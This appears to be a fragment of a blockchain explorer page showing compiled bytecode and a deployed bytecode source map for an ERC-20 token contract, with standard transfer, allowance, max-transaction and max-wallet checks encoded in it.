79206f70656e0000000000000000005f82015250565b5f61298b60178361239b565b915061299682612957565b602082019050919050565b5f6020820190508181035f8301526129b88161297f565b9050919050565b5f815190506129cd8161246f565b92915050565b5f602082840312156129e8576129e761243b565b5b5f6129f5848285016129bf565b91505092915050565b5f604082019050612a115f830185612614565b612a1e6020830184612614565b9392505050565b5f819050919050565b5f819050919050565b5f612a51612a4c612a4784612a25565b612a2e565b612499565b9050919050565b612a6181612a37565b82525050565b5f60c082019050612a7a5f830189612614565b612a876020830188612568565b612a946040830187612a58565b612aa16060830186612a58565b612aae6080830185612614565b612abb60a0830184612568565b979650505050505050565b5f81519050612ad4816124a2565b92915050565b5f805f60608486031215612af157612af061243b565b5b5f612afe86828701612ac6565b9350506020612b0f86828701612ac6565b9250506040612b2086828701612ac6565b9150509250925092565b5f604082019050612b3d5f830185612614565b612b4a6020830184612568565b9392505050565b612b5a8161250a565b8114612b64575f80fd5b50565b5f81519050612b7581612b51565b92915050565b5f60208284031215612b9057612b8f61243b565b5b5f612b9d84828501612b67565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612c0060248361239b565b9150612c0b82612ba6565b604082019050919050565b5f6020820190508181035f830152612c2d81612bf4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612c8e60228361239b565b9150612c9982612c34565b604082019050919050565b5f6020820190508181035f830152612cbb81612c82565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612d1c60258361239b565b9150612d2782612cc2565b604082019050919050565b5f6020820190508181035f830152612d4981612d10565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612daa60238361239b565b9150612db582612d50565b604082019050919050565b5f6020820190508181035f830152612dd781612d9e565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612e3860298361239b565b9150612e4382612dde565b604082019050919050565b5f6020820190508181035f830152612e6581612e2c565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c5f8201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b5f612eec60498361239b565b9150612ef782612e6c565b606082019050919050565b5f6020820190508181035f830152612f1981612ee0565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612f5460198361239b565b9150612f5f82612f20565b602082019050919050565b5f6020820190508181035f830152612f8181612f48565b9050919050565b5f612f9282612499565b9150612f9d83612499565b9250828201905080821115612fb557612fb4612770565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f612fef601a8361239b565b9150612ffa82612fbb565b602082019050919050565b5f6020820190508181035f83015261301c81612fe3565b9050919050565b5f61302d82612499565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361305f5761305e612770565b5b600182019050919050565b5f61307482612499565b915061307f83612499565b925082820390508181111561309757613096612770565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6131298161245e565b82525050565b5f61313a8383613120565b60208301905092915050565b5f602082019050919050565b5f61315c826130f7565b6131668185613101565b935061317183613111565b805f5b838110156131a1578151613188888261312f565b975061319383613146565b925050600181019050613174565b5085935050505092915050565b5f60a0820190506131c15f830188612568565b6131ce6020830187612a58565b81810360408301526131e08186613152565b90506131ef6060830185612614565b6131fc6080830184612568565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61323d82612499565b915061324883612499565b92508261325857613257613206565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6132bd60218361239b565b91506132c882613263565b604082019050919050565b5f6020820190508181035f8301526132ea816132b1565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613325601b8361239b565b9150613330826132f1565b602082019050919050565b5f6020820190508181035f83015261335281613319565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208e3282e4c14ce5d1da7c0988ceeef3cce7117b79b2c23d9d2f962cf83b41578164736f6c63430008140033
Deployed Bytecode Sourcemap
3627:8394:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5560:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6393:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7228;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4833:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5837:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6562:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5746:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7397:163;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11670:348;;;;;;;;;;;;;:::i;:::-;;5940:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2708:148;;;;;;;;;;;;;:::i;:::-;;10648:196;;;;;;;;;;;;;:::i;:::-;;4643:55;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2494:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4705:57;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5651:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6067:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4769:57;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4013:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10954:671;;;;;;;;;;;;;:::i;:::-;;6242:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5560:83;5597:13;5630:5;;;;;;;;;;;;;;;;;5623:12;;5560:83;:::o;6393:161::-;6468:4;6485:39;6494:12;:10;:12::i;:::-;6508:7;6517:6;6485:8;:39::i;:::-;6542:4;6535:11;;6393:161;;;;:::o;7228:::-;2631:12;:10;:12::i;:::-;2621:22;;:6;;;;;;;;;;:22;;;2613:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;7298:9:::1;:16;7308:5;7298:16;;;;;;;;;;;;;;;;;;;;;;;;;7297:17;7289:62;;;;;;;;;;;;:::i;:::-;;;;;;;;;7379:4;7360:9;:16;7370:5;7360:16;;;;;;;;;;;;;;;;:23;;;;;;;;;;;;;;;;;;7228:161:::0;:::o;4833:54::-;;;;:::o;5837:95::-;5890:7;4451:1;4507:2;:13;;;;:::i;:::-;4494:10;:26;;;;:::i;:::-;5910:14;;5837:95;:::o;6562:313::-;6660:4;6677:36;6687:6;6695:9;6706:6;6677:9;:36::i;:::-;6724:121;6733:6;6741:12;:10;:12::i;:::-;6755:89;6793:6;6755:89;;;;;;;;;;;;;;;;;:11;:19;6767:6;6755:19;;;;;;;;;;;;;;;:33;6775:12;:10;:12::i;:::-;6755:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;6724:8;:121::i;:::-;6863:4;6856:11;;6562:313;;;;;:::o;5746:83::-;5787:5;4451:1;5805:16;;5746:83;:::o;7397:163::-;2631:12;:10;:12::i;:::-;2621:22;;:6;;;;;;;;;;:22;;;2613:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;7468:9:::1;:16;7478:5;7468:16;;;;;;;;;;;;;;;;;;;;;;;;;7460:61;;;;;;;;;;;;:::i;:::-;;;;;;;;;7549:5;7530:9;:16;7540:5;7530:16;;;;;;;;;;;;;;;;:24;;;;;;;;;;;;;;;;;;7397:163:::0;:::o;11670:348::-;11734:10;;;;;;;;;;;11720:24;;:12;:10;:12::i;:::-;:24;;;11712:33;;;;;;11756:20;11777:24;11795:4;11777:9;:24::i;:::-;11756:45;;11828:1;11815:12;:14;11812:73;;;11843:30;11860:12;11843:16;:30::i;:::-;11812:73;11895:18;11914:21;11895:40;;11960:1;11949:10;:12;11946:65;;;11975:24;11988:10;11975:12;:24::i;:::-;11946:65;11701:317;;11670:348::o;5940:119::-;6006:7;6033:9;:18;6043:7;6033:18;;;;;;;;;;;;;;;;6026:25;;5940:119;;;:::o;2708:148::-;2631:12;:10;:12::i;:::-;2621:22;;:6;;;;;;;;;;:22;;;2613:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2815:1:::1;2778:40;;2799:6;::::0;::::1;;;;;;;;2778:40;;;;;;;;;;;;2846:1;2829:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2708:148::o:0;10648:196::-;2631:12;:10;:12::i;:::-;2621:22;;:6;;;;;;;;;;:22;;;2613:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4451:1:::1;4507:2;:13;;;;:::i;:::-;4494:10;:26;;;;:::i;:::-;10701:12;:22;;;;4451:1;4507:2;:13;;;;:::i;:::-;4494:10;:26;;;;:::i;:::-;10734:14;:22;;;;10788:5;10767:20;;:26;;;;;;;;;;;;;;;;;;10809:27;4451:1;4507:2;:13;;;;:::i;:::-;4494:10;:26;;;;:::i;:::-;10809:27;;;;;;:::i;:::-;;;;;;;;10648:196::o:0;4643:55::-;;;;:::o;2494:79::-;2532:7;2559:6;;;;;;;;;;;2552:13;;2494:79;:::o;4705:57::-;;;;:::o;5651:87::-;5690:13;5723:7;;;;;;;;;;;;;;;;;5716:14;;5651:87;:::o;6067:167::-;6145:4;6162:42;6172:12;:10;:12::i;:::-;6186:9;6197:6;6162:9;:42::i;:::-;6222:4;6215:11;;6067:167;;;;:::o;4769:57::-;;;;:::o;4013:39::-;;;;;;;;;;;;;:::o;10954:671::-;2631:12;:10;:12::i;:::-;2621:22;;:6;;;;;;;;;;:22;;;2613:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11018:11:::1;::::0;::::1;;;;;;;;11017:12;11009:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;11104:42;11067:15;;:80;;;;;;;;;;;;;;;;;;11158:58;11175:4;11190:15;;;;;;;;;;;4451:1;4507:2;:13;;;;:::i;:::-;4494:10;:26;;;;:::i;:::-;11158:8;:58::i;:::-;11261:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11243:55;;;11307:4;11314:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11243:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11227:13;;:110;;;;;;;;;;;;;;;;;;11348:15;;;;;;;;;;;:31;;;11387:21;11418:4;11424:24;11442:4;11424:9;:24::i;:::-;11449:1;11451::::0;11453:7:::1;:5;:7::i;:::-;11461:15;11348:129;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;11495:13;;;;;;;;;;;11488:29;;;11526:15;;;;;;;;;;;11544:14;11488:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;11584:4;11570:11;;:18;;;;;;;;;;;;;;;;;;11613:4;11599:11;::::0;:18:::1;;;;;;;;;;;;;;;;;;10954:671::o:0;6242:143::-;6323:7;6350:11;:18;6362:5;6350:18;;;;;;;;;;;;;;;:27;6369:7;6350:27;;;;;;;;;;;;;;;;6343:34;;6242:143;;;;:::o;249:98::-;302:7;329:10;322:17;;249:98;:::o;6883:335::-;6993:1;6976:19;;:5;:19;;;6968:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7074:1;7055:21;;:7;:21;;;7047:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7156:6;7126:11;:18;7138:5;7126:18;;;;;;;;;;;;;;;:27;7145:7;7126:27;;;;;;;;;;;;;;;:36;;;;7194:7;7178:32;;7187:5;7178:32;;;7203:6;7178:32;;;;;;:::i;:::-;;;;;;;;6883:335;;;:::o;7570:2471::-;7674:1;7658:18;;:4;:18;;;7650:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7751:1;7737:16;;:2;:16;;;7729:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7821:1;7812:6;:10;7804:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7888:9;:15;7898:4;7888:15;;;;;;;;;;;;;;;;;;;;;;;;;7887:16;7879:62;;;;;;;;;;;;:::i;:::-;;;;;;;;;7952:17;7994:7;:5;:7::i;:::-;7986:15;;:4;:15;;;;:32;;;;;8011:7;:5;:7::i;:::-;8005:13;;:2;:13;;;;7986:32;7982:1703;;;8047:76;8119:3;8047:67;8069:15;;8059:9;;:25;8058:55;;8099:14;;8058:55;;;8086:12;;8058:55;8047:6;:10;;:67;;;;:::i;:::-;:71;;:76;;;;:::i;:::-;8035:88;;8144:20;;;;;;;;;;;8140:508;;;8205:15;;;;;;;;;;;8191:30;;:2;:30;;;;:62;;;;;8239:13;;;;;;;;;;;8225:28;;:2;:28;;;;8191:62;8187:444;;;8389:12;8316:28;:39;8345:9;8316:39;;;;;;;;;;;;;;;;:85;8280:250;;;;;;;;;;;;:::i;:::-;;;;;;;;;8597:12;8555:28;:39;8584:9;8555:39;;;;;;;;;;;;;;;:54;;;;8187:444;8140:508;8676:13;;;;;;;;;;;8668:21;;:4;:21;;;:55;;;;;8707:15;;;;;;;;;;;8693:30;;:2;:30;;;;8668:55;:83;;;;;8729:18;:22;8748:2;8729:22;;;;;;;;;;;;;;;;;;;;;;;;;8727:24;8668:83;8664:313;;;8791:12;;8781:6;:22;;8773:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;8886:14;;8876:6;8860:13;8870:2;8860:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;8852:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;8950:9;;:11;;;;;;;;;:::i;:::-;;;;;;8664:313;9002:13;;;;;;;;;;;8996:19;;:2;:19;;;:43;;;;;9034:4;9019:20;;:4;:20;;;;8996:43;8993:174;;;9072:79;9147:3;9072:70;9094:16;;9084:9;;:26;9083:58;;9126:15;;9083:58;;;9112:13;;9083:58;9072:6;:10;;:70;;;;:::i;:::-;:74;;:79;;;;:::i;:::-;9060:91;;8993:174;9183:28;9214:24;9232:4;9214:9;:24::i;:::-;9183:55;;9258:6;;;;;;;;;;;9257:7;:32;;;;;9276:13;;;;;;;;;;;9268:21;;:2;:21;;;9257:32;:47;;;;;9293:11;;;;;;;;;;;9257:47;:89;;;;;9329:17;;9308:20;:38;9257:89;:121;;;;;9360:18;;9350:9;;:28;9257:121;9253:421;;;9399:67;9416:49;9420:6;9427:37;9431:20;9452:11;;9427:3;:37::i;:::-;9416:3;:49::i;:::-;9399:16;:67::i;:::-;9485:26;9514:21;9485:50;;9578:1;9557:18;:22;9554:105;;;9604:35;9617:21;9604:12;:35::i;:::-;9554:105;9380:294;9253:421;8020:1665;7982:1703;9710:1;9700:9;:11;9697:161;;;9750:39;9779:9;9750;:24;9768:4;9750:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;9725:9;:24;9743:4;9725:24;;;;;;;;;;;;;;;:64;;;;9830:4;9807:39;;9816:4;9807:39;;;9836:9;9807:39;;;;;;:::i;:::-;;;;;;;;9697:161;9884:27;9904:6;9884:9;:15;9894:4;9884:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;9868:9;:15;9878:4;9868:15;;;;;;;;;;;;;;;:43;;;;9936:40;9954:21;9965:9;9954:6;:10;;:21;;;;:::i;:::-;9936:9;:13;9946:2;9936:13;;;;;;;;;;;;;;;;:17;;:40;;;;:::i;:::-;9922:9;:13;9932:2;9922:13;;;;;;;;;;;;;;;:54;;;;10007:2;9992:41;;10001:4;9992:41;;;10011:21;10022:9;10011:6;:10;;:21;;;;:::i;:::-;9992:41;;;;;;:::i;:::-;;;;;;;;7639:2402;7570:2471;;;:::o;1386:190::-;1472:7;1505:1;1500;:6;;1508:12;1492:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1532:9;1548:1;1544;:5;;;;:::i;:::-;1532:17;;1567:1;1560:8;;;1386:190;;;;;:::o;10157:483::-;5178:4;5169:6;;:13;;;;;;;;;;;;;;;;;;10235:21:::1;10273:1;10259:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10235:40;;10304:4;10286;10291:1;10286:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;10330:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10320:4;10325:1;10320:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;10363:62;10380:4;10395:15;;;;;;;;;;;10413:11;10363:8;:62::i;:::-;10436:15;;;;;;;;;;;:66;;;10517:11;10543:1;10559:4;10586;10606:15;10436:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;10224:416;5214:5:::0;5205:6;;:14;;;;;;;;;;;;;;;;;;10157:483;:::o;10852:92::-;10909:10;;;;;;;;;;;:19;;:27;10929:6;10909:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10852:92;:::o;1584:246::-;1642:7;1671:1;1666;:6;1662:47;;1696:1;1689:8;;;;1662:47;1719:9;1735:1;1731;:5;;;;:::i;:::-;1719:17;;1764:1;1759;1755;:5;;;;:::i;:::-;:10;1747:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1821:1;1814:8;;;1584:246;;;;;:::o;1838:132::-;1896:7;1923:39;1927:1;1930;1923:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1916:46;;1838:132;;;;:::o;10051:98::-;10108:7;10135:1;10133;:3;10132:9;;10140:1;10132:9;;;10138:1;10132:9;10125:16;;10051:98;;;;:::o;1055:179::-;1113:7;1133:9;1149:1;1145;:5;;;;:::i;:::-;1133:17;;1174:1;1169;:6;;1161:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1225:1;1218:8;;;1055:179;;;;:::o;1242:136::-;1300:7;1327:43;1331:1;1334;1327:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1320:50;;1242:136;;;;:::o;1978:189::-;2064:7;2096:1;2092;:5;2099:12;2084:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2123:9;2139:1;2135;:5;;;;:::i;:::-;2123:17;;2158:1;2151:8;;;1978:189;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:329::-;3505:6;3554:2;3542:9;3533:7;3529:23;3525:32;3522:119;;;3560:79;;:::i;:::-;3522:119;3680:1;3705:53;3750:7;3741:6;3730:9;3726:22;3705:53;:::i;:::-;3695:63;;3651:117;3446:329;;;;:::o;3781:118::-;3868:24;3886:5;3868:24;:::i;:::-;3863:3;3856:37;3781:118;;:::o;3905:222::-;3998:4;4036:2;4025:9;4021:18;4013:26;;4049:71;4117:1;4106:9;4102:17;4093:6;4049:71;:::i;:::-;3905:222;;;;:::o;4133:619::-;4210:6;4218;4226;4275:2;4263:9;4254:7;4250:23;4246:32;4243:119;;;4281:79;;:::i;:::-;4243:119;4401:1;4426:53;4471:7;4462:6;4451:9;4447:22;4426:53;:::i;:::-;4416:63;;4372:117;4528:2;4554:53;4599:7;4590:6;4579:9;4575:22;4554:53;:::i;:::-;4544:63;;4499:118;4656:2;4682:53;4727:7;4718:6;4707:9;4703:22;4682:53;:::i;:::-;4672:63;;4627:118;4133:619;;;;;:::o;4758:86::-;4793:7;4833:4;4826:5;4822:16;4811:27;;4758:86;;;:::o;4850:112::-;4933:22;4949:5;4933:22;:::i;:::-;4928:3;4921:35;4850:112;;:::o;4968:214::-;5057:4;5095:2;5084:9;5080:18;5072:26;;5108:67;5172:1;5161:9;5157:17;5148:6;5108:67;:::i;:::-;4968:214;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:474::-;5608:6;5616;5665:2;5653:9;5644:7;5640:23;5636:32;5633:119;;;5671:79;;:::i;:::-;5633:119;5791:1;5816:53;5861:7;5852:6;5841:9;5837:22;5816:53;:::i;:::-;5806:63;;5762:117;5918:2;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5889:118;5540:474;;;;;:::o;6020:182::-;6160:34;6156:1;6148:6;6144:14;6137:58;6020:182;:::o;6208:366::-;6350:3;6371:67;6435:2;6430:3;6371:67;:::i;:::-;6364:74;;6447:93;6536:3;6447:93;:::i;:::-;6565:2;6560:3;6556:12;6549:19;;6208:366;;;:::o;6580:419::-;6746:4;6784:2;6773:9;6769:18;6761:26;;6833:9;6827:4;6823:20;6819:1;6808:9;6804:17;6797:47;6861:131;6987:4;6861:131;:::i;:::-;6853:139;;6580:419;;;:::o;7005:220::-;7145:34;7141:1;7133:6;7129:14;7122:58;7214:3;7209:2;7201:6;7197:15;7190:28;7005:220;:::o;7231:366::-;7373:3;7394:67;7458:2;7453:3;7394:67;:::i;:::-;7387:74;;7470:93;7559:3;7470:93;:::i;:::-;7588:2;7583:3;7579:12;7572:19;;7231:366;;;:::o;7603:419::-;7769:4;7807:2;7796:9;7792:18;7784:26;;7856:9;7850:4;7846:20;7842:1;7831:9;7827:17;7820:47;7884:131;8010:4;7884:131;:::i;:::-;7876:139;;7603:419;;;:::o;8028:180::-;8076:77;8073:1;8066:88;8173:4;8170:1;8163:15;8197:4;8194:1;8187:15;8214:102;8256:8;8303:5;8300:1;8296:13;8275:34;;8214:102;;;:::o;8322:848::-;8383:5;8390:4;8414:6;8405:15;;8438:5;8429:14;;8452:712;8473:1;8463:8;8460:15;8452:712;;;8568:4;8563:3;8559:14;8553:4;8550:24;8547:50;;;8577:18;;:::i;:::-;8547:50;8627:1;8617:8;8613:16;8610:451;;;9042:4;9035:5;9031:16;9022:25;;8610:451;9092:4;9086;9082:15;9074:23;;9122:32;9145:8;9122:32;:::i;:::-;9110:44;;8452:712;;;8322:848;;;;;;;:::o;9176:1073::-;9230:5;9421:8;9411:40;;9442:1;9433:10;;9444:5;;9411:40;9470:4;9460:36;;9487:1;9478:10;;9489:5;;9460:36;9556:4;9604:1;9599:27;;;;9640:1;9635:191;;;;9549:277;;9599:27;9617:1;9608:10;;9619:5;;;9635:191;9680:3;9670:8;9667:17;9664:43;;;9687:18;;:::i;:::-;9664:43;9736:8;9733:1;9729:16;9720:25;;9771:3;9764:5;9761:14;9758:40;;;9778:18;;:::i;:::-;9758:40;9811:5;;;9549:277;;9935:2;9925:8;9922:16;9916:3;9910:4;9907:13;9903:36;9885:2;9875:8;9872:16;9867:2;9861:4;9858:12;9854:35;9838:111;9835:246;;;9991:8;9985:4;9981:19;9972:28;;10026:3;10019:5;10016:14;10013:40;;;10033:18;;:::i;:::-;10013:40;10066:5;;9835:246;10106:42;10144:3;10134:8;10128:4;10125:1;10106:42;:::i;:::-;10091:57;;;;10180:4;10175:3;10171:14;10164:5;10161:25;10158:51;;;10189:18;;:::i;:::-;10158:51;10238:4;10231:5;10227:16;10218:25;;9176:1073;;;;;;:::o;10255:281::-;10313:5;10337:23;10355:4;10337:23;:::i;:::-;10329:31;;10381:25;10397:8;10381:25;:::i;:::-;10369:37;;10425:104;10462:66;10452:8;10446:4;10425:104;:::i;:::-;10416:113;;10255:281;;;;:::o;10542:410::-;10582:7;10605:20;10623:1;10605:20;:::i;:::-;10600:25;;10639:20;10657:1;10639:20;:::i;:::-;10634:25;;10694:1;10691;10687:9;10716:30;10734:11;10716:30;:::i;:::-;10705:41;;10895:1;10886:7;10882:15;10879:1;10876:22;10856:1;10849:9;10829:83;10806:139;;10925:18;;:::i;:::-;10806:139;10590:362;10542:410;;;;:::o;10958:173::-;11098:25;11094:1;11086:6;11082:14;11075:49;10958:173;:::o;11137:366::-;11279:3;11300:67;11364:2;11359:3;11300:67;:::i;:::-;11293:74;;11376:93;11465:3;11376:93;:::i;:::-;11494:2;11489:3;11485:12;11478:19;;11137:366;;;:::o;11509:419::-;11675:4;11713:2;11702:9;11698:18;11690:26;;11762:9;11756:4;11752:20;11748:1;11737:9;11733:17;11726:47;11790:131;11916:4;11790:131;:::i;:::-;11782:139;;11509:419;;;:::o;11934:143::-;11991:5;12022:6;12016:13;12007:22;;12038:33;12065:5;12038:33;:::i;:::-;11934:143;;;;:::o;12083:351::-;12153:6;12202:2;12190:9;12181:7;12177:23;12173:32;12170:119;;;12208:79;;:::i;:::-;12170:119;12328:1;12353:64;12409:7;12400:6;12389:9;12385:22;12353:64;:::i;:::-;12343:74;;12299:128;12083:351;;;;:::o;12440:332::-;12561:4;12599:2;12588:9;12584:18;12576:26;;12612:71;12680:1;12669:9;12665:17;12656:6;12612:71;:::i;:::-;12693:72;12761:2;12750:9;12746:18;12737:6;12693:72;:::i;:::-;12440:332;;;;;:::o;12778:85::-;12823:7;12852:5;12841:16;;12778:85;;;:::o;12869:60::-;12897:3;12918:5;12911:12;;12869:60;;;:::o;12935:158::-;12993:9;13026:61;13044:42;13053:32;13079:5;13053:32;:::i;:::-;13044:42;:::i;:::-;13026:61;:::i;:::-;13013:74;;12935:158;;;:::o;13099:147::-;13194:45;13233:5;13194:45;:::i;:::-;13189:3;13182:58;13099:147;;:::o;13252:807::-;13501:4;13539:3;13528:9;13524:19;13516:27;;13553:71;13621:1;13610:9;13606:17;13597:6;13553:71;:::i;:::-;13634:72;13702